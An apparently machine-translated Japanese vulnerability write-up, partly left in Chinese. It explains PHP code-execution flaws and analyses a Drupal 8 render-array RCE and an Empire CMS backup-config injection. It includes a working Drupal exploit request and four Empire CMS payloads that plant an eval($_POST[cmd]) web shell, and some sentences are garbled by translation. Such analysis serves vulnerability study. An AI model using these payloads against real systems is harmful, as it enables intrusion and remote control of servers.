記事ディレクトリ
1. コード実行の脆弱性の基本
1. 脆弱性の原則と種類
脆弱性の原則:
コード実行の脆弱性の原理は実際には比較的単純で、渡したデータはコードとして実行されるためです。これは多くの場合、開発者がユーザーの入力内容を適切に制御できないことが原因で発生します。
脆弱性の種類:
- 型の混乱: これは Web アプリケーションで最も一般的な問題であり、データとコードが明確に区別されていないため、上記の脆弱性の原則が最も直観的に表れたものでもあります。
- 逆シリアル化: シリアル化と逆シリアル化は Web データ送信における一般的な方法ですが、データの不合理な逆シリアル化と制御可能なシリアル化は多くの場合、後で別途説明する逆シリアル化の脆弱性を引き起こします。
- バッファ オーバーフロー: このタイプの脆弱性はクライアント アプリケーションやモバイル アプリケーションでよく見られますが、多くの場合、バッファの書き込みと読み取りの境界チェックが欠如していることが原因です。
2. 脆弱性の検出
PHP の場合、このタイプの脆弱性の検出は主に、コードを実行できるいくつかの関数と、実行されるコードがユーザー制御可能かどうかを観察することです。PHP の一般的なコード実行関数の簡単な分析は次のとおりです。
- eval(string $phpCode): 文字列を PHP コードとして実行します。一般的な使用法は 1 単語のトロイの木馬です。文字列は有効な PHP コードである必要があり、セミコロンで終わる必要があります。
- assert(): evalと同様に、文字列はassert()によってPHPコードとして実行されますが、実行できるコードは1行のみですが、evalは複数行のコードを実行できます。
- preg_replace(): /e 修飾子を使用すると、正規表現を実行することでコードを実行できます。
- create_function(): 渡されたパラメータに基づいて匿名関数を作成し、その一意の名前を返します。
- array_map(): 配列内の各値にユーザー定義関数を適用し、ユーザー定義関数の適用後に新しい値を含む配列を返します。コールバック関数によって受け入れられる引数の数は、array_map() 関数に渡される配列の数と同じである必要があります。
- call_user_func(): 最初のパラメータをコールバック関数として呼び出します。
- …
コードで実行される関数の詳細については、記事末尾の参考資料を参照してください。
3. 一般的な防御方法
多くのシステムには RCE 脆弱性がありますが、ほとんどの場合、プログラム自体のコードの問題ではなく、安全でないコンポーネントや基盤となるプログラムの使用が原因です。したがって、RCE 脆弱性を防ぐためには、個別のセキュリティ検査を監視することがより重要です。レベル。一般的な操作は次のとおりです。
-
定期的なセキュリティ更新:
组织经常不能根据最新的威胁情报采取行动,不能及时应用补丁和更新。因此,攻击者通常也会试图攻击旧的漏洞。一旦系统和软件可用,就立即对它们进行安全更新,这对于阻止许多攻击者是非常有效的。
-
継続的なセキュリティ監視:
监控网络流量和端点,以发现可疑内容并阻止利用企图。这可以通过实现某种形式的网络安全解决方案或威胁检测软件来实现。
-
ソフトウェアのセキュリティを検出します。
简单理解就是通过动态或者静态代码检测技术,分析可能存在的安全隐患。
2. Drupal リモートコード実行の脆弱性分析
まず、この脆弱性に関する公開情報を見てみましょう。
[外部リンク画像の転送に失敗しました。ソース サイトにはリーチ防止メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-V6jnF9Kc-1659576659634)(img/image-20220801223159931.png)]
影響範囲が依然として比較的大きいことがわかります。ただし、脆弱性分析を実行する前に、Drupal のシステム アーキテクチャを理解する必要があります。
1. システムアーキテクチャの分析
ここでのアーキテクチャ分析では、採用バージョンがD8であるため、D7やD6と比べて構造が大きく変わっているため、D8のシステム構造のみを分析します。
基本的なディレクトリ構造:
/core:drupal的内核文件夹,详见后文说明
/modules: 存放自定义或者下载的模块
/profiles: 存放下载和安装的自定义配置文件
/sites: 在drupal 7或者更早的版本中,主要存放站点使用的主题和模块活其他站点文件。
/themses: 存放自定义或者下载的主题
/vendor:存放代码的依赖库
index.php: drupal入口文件
次に、Croe ディレクトリの構造を確認します。
/core/assets - drupal 所使用的各种扩展库,如jquery,ckeditor,backbone,normalizeCSS等
/core/config - drupal 中的核心配置文件
/core/includes – 模块化的底层功能函数,如模块化系统本身
/core/lib – drupal提供的原始核心类
/core/misc – 核心所需要的前端杂项文件,如JS,CSS,图片等。
/core/modules – 核心模块,大约80项左右
/core/profiles – 内置安装配置文件
/core/s – 开发人员使用的各种命里脚本
/tests – 测试相关用的文件
/core/themes – 内核主题
基本的なディレクトリ構造、詳細なルーティングやコントローラー呼び出しなどの解析については、下記「drupal8シリーズフレームワークと脆弱性動的デバッグ徹底解析」を参照してください。
2. 簡易脆弱性分析
まず、脆弱性のペイロードを見てみましょう。
POST /index.php/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.101.152:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
ご覧のとおり、脆弱性の場所は /user/register の下にあります。
脆弱性の原理に関しては、主に Drupal 7 が「レンダリング可能な配列」の概念を提案しているためです。これらの構造は連想配列によって実装され、マークアップと UI 要素のレンダリングを改善するためにキーと値のペアが関数パラメーターまたはフォーム データとして渡されます。 。マークされた要素の属性には「#」文字が接頭辞として付いたキーがあり、Drupal では#pre_render
、#post_render
、#submit
、#validate
などの変数に対してcall_user_func
それを呼び出すため、連想配列と同じようにコードが実行されます。構築される。
//file: \core\lib\Drupal\Core\Render\Renderer.php
// element is rendered into the final text.
if (isset($elements['#pre_render'])) {
foreach ($elements['#pre_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements = call_user_func($callable, $elements);
}
}
ここで call_user_func() メソッドが呼び出されていることがわかります。
ただし、渡すパラメーターがコード実行コマンドにどのように構築されるかを知る必要があります。ここでは、分析のために \core\modules\file\src\Element\ManagedFile.php を入力する必要があります。
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
/** @var \Drupal\Core\Render\RendererInterface $renderer */
$renderer = \Drupal::service('renderer');
$form_parents = explode('/', $request->query->get('element_parents'));
// Retrieve the element to be rendered.
$form = NestedArray::getValue($form, $form_parents);
// Add the special AJAX class if a new file was added.
$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}
$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);
コードの 5 行目で、 を取り出して$_GET["element_parents"]
to に代入し$form_parents
、NestedArray::getValue
処理のために に入力します。
public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
$ref = &$array;
foreach ($parents as $parent) {
if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
$ref = &$ref[$parent];
}
else {
$key_exists = FALSE;
$null = NULL;
return $null;
}
}
$key_exists = TRUE;
return $ref;
}
ここで、$parentをキーパスとして、レイヤーごとに取り出して返すようにして、POCの考え方に従ってペイロードを送信すると、この時に構築されるフォーム配列は以下のようになります。
次に、次の renderRoot( form ) メソッド、form) メソッド、fまたはm )メソッドを使用して、フォームを Render.php に渡し、 call_user_func() を呼び出して実行します。
実行後の結果は $output に保存され、最終的に send() コントローラーを介して出力されることがわかります。
2. 脆弱性の再発
ターゲット サイトにアクセスし、リプレイをキャプチャして変更します。
システムコマンドが正常に実行されたことがわかります。
ただし、上記の POC とは少し異なり、アクセスする際に /user/register に直接アクセスすることはできず、index.php/user/register を経由してアクセスする必要があります。私のシステムかもしれません。その理由は、exec 関数がコマンドを実行し、一部のコマンドが実行に失敗するため、代わりに system 関数が使用されるためです。
3. Empire CMS コード実行の脆弱性の分析
脆弱性インテリジェンス:
1. 脆弱性分析
公開情報を検索し、バックアップ データベース ファイルに脆弱性ポイントがあることを確認し、表示するファイルを入力します。
// file: e/admin/ebak/phome.php
$phome=$_GET['phome'];
.....
//初使化备份表
elseif($phome=="DoEbak"){
Ebak_DoEbak($_POST,$logininid,$loginin);
}
//备份表(按文件)
elseif($phome=="BakExe"){
.......
}
//备份表(按记录)
elseif($phome=="BakExeT"){
......
}
バックアップ テーブルを初期化するときに Ebak_DoEbak() 関数を呼び出し、分析を追跡したことがわかります。
//file: e/admin/ebak/class/functions.php
function Ebak_DoEbak($add,$userid,$username){
global $empire,$public_r,$fun_r,$phome_use_dbver;
//验证权限
CheckLevel($userid,$username,$classid,"dbdata");
$dbname=RepPostVar($add['mydbname']); //获取了POST传入的mydbname,并使用RepPostVar函数进行过滤。
if(empty($dbname)){
printerror("NotChangeDbname","history.go(-1)");
}
$tablename=$add['tablename']; //获取我们传入的tablename,此处未经过滤。
$count=count($tablename);
if(empty($count)){
printerror("MustChangeOneTable","history.go(-1)");
}
$add['baktype']=(int)$add['baktype'];
$add['filesize']=(int)$add['filesize'];
$add['bakline']=(int)$add['bakline'];
$add['autoauf']=(int)$add['autoauf'];
if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){
printerror("FileSizeEmpty","history.go(-1)");
}
//目录名
$bakpath=$public_r['bakdbpath'];
if(empty($add['mypath'])){
$add['mypath']=$dbname."_".date("YmdHis"); //生成并使用下面的DOMkdir函数创建文件夹
}
DoMkdir($bakpath."/".$add['mypath']);
//生成说明文件,将POST传入的备份说明保存在备份文件下的readme.txt中
$readme=$add['readme'];
$rfile=$bakpath."/".$add['mypath']."/readme.txt";
$readme.="\r\n\r\nBaktime: ".date("Y-m-d H:i:s");
WriteFiletext_n($rfile,$readme);
$b_table="";
$d_table="";
//如果有多个表,循环将表明读取出来,并使用“,”分隔。
for($i=0;$i<$count;$i++){
$b_table.=$tablename[$i].",";
$d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
}
//去掉最后一个,
$b_table=substr($b_table,0,strlen($b_table)-1);
$bakstru=(int)$add['bakstru'];
$bakstrufour=(int)$add['bakstrufour'];
$beover=(int)$add['beover'];
$waitbaktime=(int)$add['waitbaktime'];
$bakdatatype=(int)$add['bakdatatype'];
if($add['insertf']=='insert'){
$insertf='insert';
}else{
$insertf='replace';
}
if($phome_use_dbver=='4.0'&&$add['dbchar']=='auto'){
$add['dbchar']='';
}
//定义配置文件的内容
$string="<?php
\$b_table=\"".$b_table."\"; //使用双引号包裹了配置文件中的b_table的值。
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
\$b_bakline=".$add['bakline'].";
\$b_autoauf=".$add['autoauf'].";
\$b_dbname=\"".$dbname."\"; //使用双引号包裹了dbname的值
\$b_stru=".$bakstru.";
\$b_strufour=".$bakstrufour.";
\$b_dbchar=\"".addslashes($add['dbchar'])."\";//使用双引号包裹了使用addslashes()处理后的dbchar
\$b_beover=".$beover.";
\$b_insertf=\"".addslashes($insertf)."\"; //使用双引号包裹了addslashes()处理后的insertf
\$b_autofield=\",".addslashes($add['autofield']).",\"; //使用双引号包裹了使用addslashes()处理后的 autofield
\$b_bakdatatype=".$bakdatatype.";
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string); //将配置内容写入配置文件
if($add['baktype']){
$phome='BakExeT';
}else{
$phome='BakExe';
}
echo $fun_r['FirstBakSuccess']."<script>self.location.href='phome.php?phome=$phome&t=0&s=0&p=0&mypath=$add[mypath]&waitbaktime=$waitbaktime';</script>";
exit();
}
上記のコードでは、渡した多くのパラメーターが構成ファイル config.php に書き込まれており、それらはすべて二重引用符で囲まれていることがわかります。そのため、書き込まれたパラメーターを詳細に分析して、それらが制御可能かどうかを確認できます。 PHP コードが制御可能であれば、PHP コードを挿入することでコード実行の効果を得ることができます。
ここで詳細な分析を行ってみましょう。まず、通常のバックアップ構成ファイルを確認します。
<?php
$b_table="phome_enewsztf";
$tb[phome_enewsztf]=1;
$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname="empirecms";
$b_stru=1;
$b_strufour=0;
$b_dbchar="gbk";
$b_beover=0;
$b_insertf="replace";
$b_autofield=",,";
$b_bakdatatype=1;
?>
引用符で囲まれていない内容が値の形式で存在していることがわかりますが、上記のコードを振り返ると、データが数値型強制を使用していることがわかり、それを使用する方法はありません。
同様に、二重引用符で囲まれたデータの場合、その中の $dbname は RepPostVar() 関数を使用して処理されます。この関数の状況は次のとおりです。
//参数处理函数
function RepPostVar($val){
if($val!=addslashes($val)){
exit();
}
CkPostStrChar($val);
$val=str_replace(" ","",$val);
$val=str_replace("%20","",$val);
$val=str_replace("%27","",$val);
$val=str_replace("*","",$val);
$val=str_replace("'","",$val);
$val=str_replace("\"","",$val);
$val=str_replace("/","",$val);
$val=str_replace(";","",$val);
$val=str_replace("#","",$val);
$val=str_replace("--","",$val);
$val=RepPostStr($val,1);
$val=addslashes($val);
FWClearGetText($val);
return $val;
}
ほとんどの特殊記号がフィルタリングされていることがわかりますが、上記の文字が使用されない限り、セキュリティ フィルタはバイパスされ、コード インジェクションが発生する可能性があります。
$[tablename] はフィルタリングなしで config.php に書き込まれるため、php コードを構築してファイルに挿入し、コード インジェクションを実現できます。
$[dbchar]はaddslashes()で処理された後にconfig.phpに書き込まれるため、シングルクォーテーションやダブルクォーテーションを使用しない限りエスケープを回避できるため、コードインジェクションが実現できます。
$add['insertf'] は if を使って判定し、固定値を設定するので制御不能なので使いようがありません。
$add['autofield'] は、addslashes() によっても処理されますが、これもバイパスされ、コード インジェクションが発生する可能性があります。
したがって、この脆弱性ポイントでは、複数のパラメーターを介して脆弱性を悪用できます。
2. 搾取
上記の分析を通じて、この脆弱性を悪用する方法は数多くあることがわかりました。以下にいくつかの簡単なペイロードを示します。
payload1:phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=${
@eval($_POST[cmd])}&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload2: phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=${
@eval($_POST[cmd])}&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload3:phome=DoEbak&mydbname=${
@eval($_POST[cmd])}&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload4:phome=DoEbak&mydbname=dbname&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[cmd])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
ペイロード1:
ペイロード2:
他のペイロードではあまり多くのテストは行われませんが、原理と方法は同じです。